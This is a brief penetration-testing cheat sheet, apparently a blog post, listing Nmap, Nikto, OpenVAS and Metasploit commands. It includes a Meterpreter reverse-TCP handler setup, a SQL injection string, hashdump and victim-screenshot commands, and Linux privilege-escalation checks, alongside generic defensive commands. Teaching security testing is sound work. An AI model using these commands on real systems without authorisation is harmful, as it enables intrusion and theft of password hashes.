You Should Know:

Essential Penetration Testing Tools & Commands

1. Reconnaissance (Information Gathering)

  • Nmap (Network Scanning):
    nmap -sV -A target.com
    
  • -sV: Service version detection
  • -A: Aggressive scan (OS detection, script scanning)

  • Whois Lookup:

    whois target.com
    

2. Vulnerability Scanning

  • Nikto (Web Vulnerability Scanner):

    nikto -h http://target.com
    

  • OpenVAS (Open-Source Vulnerability Scanner):

    gvm-start  Start OpenVAS 
    gvm-feed-update  Update vulnerability database 
    

3. Exploitation

  • Metasploit Framework:

    msfconsole 
    use exploit/multi/handler 
    set payload windows/meterpreter/reverse_tcp 
    set LHOST <your-ip> 
    set LPORT 4444 
    exploit 
    

  • SQL Injection (Manual Testing):

    ' OR '1'='1' --
    

4. Post-Exploitation

  • Meterpreter (Metasploit):

    sysinfo  System information 
    hashdump  Dump password hashes 
    screenshot  Capture victim's screen 
    

  • Privilege Escalation (Linux):

    sudo -l  Check sudo permissions 
    find / -perm -4000 2>/dev/null  Find SUID binaries 
    

5. Reporting & Legal Compliance

  • Always document findings in a structured format.
  • Follow responsible disclosure policies.

What Undercode Say:

Penetration testing is a critical skill in cybersecurity, requiring hands-on practice and ethical responsibility. Mastering tools like Nmap, Metasploit, and Burp Suite is essential. Always stay updated with new vulnerabilities (CVE databases) and follow legal guidelines (OSCP, CEH frameworks).

🔹 Linux Cyber Commands:

netstat -tuln  Check open ports 
tcpdump -i eth0  Capture network traffic 
chmod 600 /etc/shadow  Secure sensitive files 

🔹 Windows Security Commands:

netstat -ano  Active connections & PIDs 
wmic qfe list  Installed updates 
gpresult /z  Group Policy settings 

Expected Output:

A structured penetration testing workflow with verified commands, legal compliance, and real-world applicability.
